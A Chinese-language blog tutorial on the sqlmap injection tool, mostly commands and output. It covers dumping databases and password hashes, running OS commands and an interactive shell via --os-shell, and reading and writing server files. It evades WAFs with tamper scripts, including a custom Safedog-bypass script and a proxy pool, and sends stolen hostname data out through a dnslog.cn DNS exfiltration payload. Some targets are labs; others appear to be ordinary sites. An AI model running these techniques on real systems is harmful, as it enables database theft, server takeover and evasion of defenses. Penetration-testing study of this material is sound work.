sqlmap实战使用


sqlmap实战使用

由浅入深的写下使用

实战一

image-20211109154946308

检测注入

-u 检测的url

“”双引号 表示这是一段字符串,(存在&符号所以url用引号包起来)

–dbms 指定攻击的数据库类型

-v 输出信息详细程度登记为1

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1

输入之后sqlmap会自动进行注入,但是会有一些进行提示,需要你在终端进行确认

如果使用–batch 会自动进行默认操作,不用进行交互信息确定

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 --batch

程序会自动确认进行SQL注入检测,看到存在注入的参数和攻击payload 也会显示注入的类型

可以看到已经给出了结果

image-20211109155703694

获取敏感信息

确定存在注入之后,接着通过获取敏感信息命令获取

–current-user 用户连接的用户

–currnet-db 当前库

–is-dba 是否root权限

–passwords 获取数据库的密码 使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解 如果需要选择合适的字典。

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 --current-user --current-db --is-dba

image-20211109160310326

获取所有数据库

–dbs

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 --dbs

image-20211109160425714

获取表

获取表之前我们需要指定数据库,根据库列出表

-D 库名 指定数据库

–tables 列出所有表

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu --tables

image-20211109160639868

获取表的字段

获取字段之前需要指定库名、表名

-T 表明 指定表

–columns 列出所有字段

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --columns

image-20211109160904975

也可获取某个库中所有表的字段

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu --tables --columns

image-20211109161016475

获取数据

–dump 是导出数据所有内容

–dump -C “username,password” 获取某些字段的内容

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users --columns --dump --batch

非交互模式下使用的是自带的字典,也可设置字典

image-20211109161325611

获取指定条数

获取总条数

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users  --count

image-20211109161829802

获取指定条数 获取1-3条数的数据

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -D pikachu -T users  --dump --start 1 --stop 3 --batch

image-20211109161729973

删除缓存文件

参数:–flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

安全的删除output目录的文件

参数:–purge-output

有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

实战二

实战中用的最多的技巧

–technique 使用指定的注入方式

在一些实战项目中,难免会遇上 网络反应缓慢,idc还有检测sqlmap的能力,所以作为一个专业的渗透测试人员,必须做到快准狠。

有些SQL注入点 只允许时间注入,这时指定SQLMAP的注入类型为T

以下是–technique 参数的值的解释

B:Boolean-basedblindSQLinjection(布尔型注入)
E:Error-basedSQLinjection(报错型注入)
U:UNIONquerySQLinjection(可联合查询注入)
S:StackedqueriesSQLinjection(可多语句查询注入)
T:Time-basedblindSQLinjection(基于时间延迟注入)
Q:InlineSQLInjection(内联注入)

使用基于时间的延时注入

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 3 -D pikachu -technique T

默认是全部

–time-sec 使用时间注入时,设置延时的返回时间,默认是五秒

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 5 -D pikachu -technique T --random-agent --time-sec=6

设置超时时间

–time-out 这个参数是设置超时时间 有得网页响应比较慢,可以使用这个参数来增大访问超时的时间。默认是30

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 5 -D pikachu -technique T --random-agent --timeout=10

–random-agent 指定使用随机的HTTP user-agent

信息详细为5回显示user-agent头

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 5 -D pikachu -technique T --random-agent

image-20211109162915629

读取文本进行测试

python sqlmap.py -r 1.txt

image-20211109163851223

image-20211109163910711

可以看到吧bp的包放到文件里也成功出结果了

指定参数进行注入

-p 指定需要测试的参数

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -v 1 -p name

显然submit不是我们需要测试的参数,本着快准狠的原则指定name为测试参数

如果url是伪静态的时 ,可以使用*号表示这是检测的地方

从 URL 结构以及页面名称看,伪静态和 静态页面 是一样的。伪静态的页面后缀可以是 html htm 或者是目录格式.

伪静态只是改变了URL的表现形式,实际上还是 动态页面.。静态页面可以节省服务器资源,而伪静态严格说是增加服务器资源消耗的。

总结,在 SEO 方面,伪静态和 静态页面 的功能是相同的,但是伪静态本质上还是动态页面,所以消耗资源是和动态页面一样的,而且因为 Rewrite 服务器还需要消耗额外的资源。.

python sqlmap.py -u "10.163.193.76/06/vul/sqli/id/1*.html"

这里1就是告诉sqlmap的监测点

POST注入

image-20211109165023125

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -p id -v 1

也能正常出结果

cookie注入

–cookie 输入cookie的请求参数

–level 2或者以上才进行cookie注入

sqllilabs的less21是cookie注入

image-20211109170221436

我们很自然想到uname作为测试点

python sqlmap.py -u "http://sql/Less-21/index.php" --cookie "uname = YWRtaW4" -p uname --level 2

实战三

修改最大线程

lib/core/settings.py

默认最大线程是10 可以设置线程最大为100

MAX_NUMBER_OF_THREADS = 100

image-20211110151137355

修改默认浏览器

image-20211110151417680

实战四 绕过防火墙

目前很多网站都使用waf对网站进行保护,在渗透测试过程中,很多的操作都会被拦截,在测试SQL注入时,waf会对请求过来的流量进行拦截,导致SQLMAP请求的内容无法到达目标,SQLMAP无法判断目标是否存在注入,waf对恶意的攻击请求进行拦截,拦截会拉入黑名单,导致攻击者访问不到目标。无法进行安全检测。

sqlmap存在tamper模块,我们使用–tamper命令选择合适的脚本绕过waf

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -p name --tamper "space2comment.py" -v 3 --dbs

宽字节注入

unmagicquotes.py

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -p name --tamper "unmagicquotes.py" -v 3 --dbs

base64注入

base64encode.py

sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";"  --dbms mysql --tamper "base64encode.py" -v 4 --level 3

–param-del=”;” 用;分割参数

sqlmap -u "http://192.168.0.136:7766/Less-21/index.php" --cookie="uname=YWRtaW4%3D; PHPSESSID=0roc9e02hrro7nefi1jiuvukq5" --param-del=";"  --dbms mysql --tamper "base64encode.py" -v 4 --level 3 

tampter模块列表

sqlmap –list-tampers

支持的数据库 编号 脚本名称 作用 实现方式
all 1 apostrophemask.py 用utf8代替引号 (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
2 base64encode.py 用base64编码替换 (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’
3 multiplespaces.py 围绕SQL关键字添加多个空格 (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’
4 space2plus.py 用+替换空格 (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’
5 nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’
6 space2randomblank.py 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’
7 unionalltounion.py 替换UNION ALL SELECT UNION SELECT (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’
8 securesphere.py 追加特制的字符串 (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’”
mssql 1 space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) ‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’
2 equaltolike.py like 代替等号 * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
3 space2mssqlblank.py(mssql) 空格替换为其它空符号 Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
4 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’
5 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
6 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 (‘1 AND 9227=9227– ‘) ‘1 AND 9227=9227– sp_password’
8 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9 randomcase.py 随机大小写 * Input: INSERT * Output: InsERt
10 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
mysql >= 5.1.13 1 equaltolike.py like 代替等号 * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
2 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
3 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
4 ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’
5 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’
6 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’
7 space2mysqlblank.py 空格替换其它空白符号(mysql) Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users
8 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
9 modsecurityzeroversioned.py 包含了完整的查询与零版本注释 (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’
10 space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’
11 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’
12 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14 randomcase.py 随机大小写 * Input: INSERT * Output: InsERt
15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/!UNION!ALL!SELECT!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
17 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18 versionedmorekeywords.py 注释绕过 * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/!UNION!ALL!SELECT!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
MySQL < 5.1 19 halfversionedmorekeywords.py 关键字前加注释 * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa
20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa”
MySQL >= 5.1.13 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
4 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5 randomcase.py 随机大小写 * Input: INSERT * Output: InsERt
6 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
PostgreSQL 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
4 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6 randomcase.py 随机大小写 * Input: INSERT * Output: InsERt
7 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
Access 1 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 (‘1 AND 1=1’) ‘1 AND 1=1%00’
其他 chardoubleencode.py 双url编码(不处理以编码的) * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py 宽字符绕过 GPC addslashes * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20
randomcomments.py 用/**/分割sql关键字 ‘INSERT’ becomes ‘IN//S//ERT’

设置线程大小

在遇到waf的时候,如果并发过大,会认为是cc攻击,ip会被封堵

–threads=1 设置线程为1

设置http请求延时

–delay=DELAY 设置每个 HTTP 请求的延迟秒数

使用代理

python sqlmap.py -u "http://10.163.193.76/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -p name --proxy=http://127.0.0.1:8081

我们可以在bp上开个端口,让sqlmap的流量经过它

image-20211110202014131

可以看到下图sqlmap的流量过来了

image-20211110202024557

image-20211110202001149

使用代理池注入

购买代理池之后 获取代理 保存到文件内

123.73.208.166:46603
123.73.63.29:46603
123.73.63.84:46603
112.123.40.42:40806
183.47.94.248:38090
121.237.149.88:13804
114.99.108.71:23359
123.73.209.246:46603
123.73.63.132:46603
119.55.253.202:39730

–proxy-file 从文件中加载代理列表

sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt

实战五 命令执行 文件读写 dns盲注

sqlmap命令执行

一般在权限比较高时使用

--os-cmd=OSCMD      执行操作系统命令
--os-shell          调出交互式操作系统 shell

注入点的当前用户是dba时,使用以上两个命令,一个是执行命令,一个是调用交互操作系统shell

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-cmd="net user"

image-20211110204445418

可以看到是SQL server 并且是DBA权限,命令执行成功了

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-shell

image-20211110204607120

可以看到弹出了一个交互式shell,可以执行命令,如果可以回显就可以看到返回的命令信息

读取和写入文件

–file-read 读取文件 读取文件首先要知道路径,才能读取

sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --file-read="C:/Windows/System32/inetsrv/MetaBase.xml" --threads=10

C:/Windows/System32/inetsrv/MetaBase.xml 可以换成其他文件路径 如果是linux 可以读取/etc/passwd

image-20211110204911803

读取后的文件在路径给出了

image-20211110205040324

–file-write 写入文件

–file-write 目标路径 –file-dest 文件路径

write写本地要写入的文件路径,dest写网站服务器上的文件路径

sqlmap.py -u "http://www.dm1.com/inj.aspx?id=1" --file-write="C:\Users\Administrator\Desktop\1.txt" --file-dest="C:\Hws.com\HwsHostMaster\wwwroot\dm1.com\web\1.txt"

image-20211110205631333

执行完后发现多了个1.txt

dnslog盲注

适合没有回显时,把注入数据发送到远程dnslog上

–sql-shell 调用sql交互shell,可以执行sql命令

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'.2kbg3j.dnslog.cn';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')

image-20211110210413131

image-20211110210421667

可以看到hostname拿到了

实战六

编写tamper模块绕过waf

首先我们要判断waf的厂商,新版sqlmap回自动执行waf检测

sqlmap.py -u "http://www.p2.com/inj.aspx?id=1" -v 1

image-20211110210937332

在SQL注入中,经常会遇到各种厂商的waf,绕过之后经常手工提交,这样显得特别慢,特别是要注入得到数据的时,手工获取的信息太慢,这个时候可以用编写sqlmap的tamper模块进行注入,自动化进行操作,这样就方便得多了。

这里是的waf是安全狗

image-20211110211346028

拦截了http user_agent头,我们用–random-agent绕过了

sqlmap.py -u "http://www.p2.com/inj.aspx?id=1" -v 1 --random-agent --dbs

image-20211110211604342

可以看到出了库,但是当查表时发现sql查询没有返回东西

image-20211110211841826

觉得应该是sql语句的问题,做了拦截

image-20211110211927825

分析得到绕过安全狗的payload

--/*%0a这里是你的填写你的注入语句--%20*/

这里的原理

image-20211110212907729

可以看到命令被执行,注释里面的没有执行,我们在*后加个enter符号

image-20211110213004444

可以看到注释里面的东西被执行了

%0a即回车,我们把注入语句放到里面就会被正常执行了

写好的tamper模块

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW # 优先级设置

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) #描述
# tamper函数为自定义你的payload
def tamper(payload, **kwargs):
        payload=payload.replace('AND','--/*%0aAND')#关键词替换
        payload=payload.replace('ORDER','--/*%0aORDER')
        payload=payload.replace('UNION','--/*%0aunion')
        payload+='--%20*/'#追加字符串
        return payload #返回最终的字符串

我们使用它即可绕过iis

image-20211110213517121

sqlmap.py -u "http://www.p2.com/inj.aspx?id=1" -v 1 --random-agent --tamper bypass_safe_dog.py --technique=U -D Angelcms --tables

image-20211110213705450

可以看到成功绕过了

暴力穷举

在access和mysql4.0数据库 没有内置库,针对这类数据库sqlmap使用字典穷举的方法对表进行猜解。

sqlmap内置的字典

image-20211110215513123

sqlmap.py -u "http://www.dm3.com/Content.asp?id=9" --dbms access --tables

image-20211110220219997

这里询问字典,1是使用系统自带字典,2为自定义字典

出来表后我们继续穷举字段

sqlmap.py -u "http://www.dm3.com/Content.asp?id=9" --dbms access -T i_user --columns

image-20211110220658238

sqlmap.py -u "http://www.dm3.com/Content.asp?id=9" --dbms access -T i_user -C "u_id,u_pass,u_user" --dump

image-20211110220824329


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录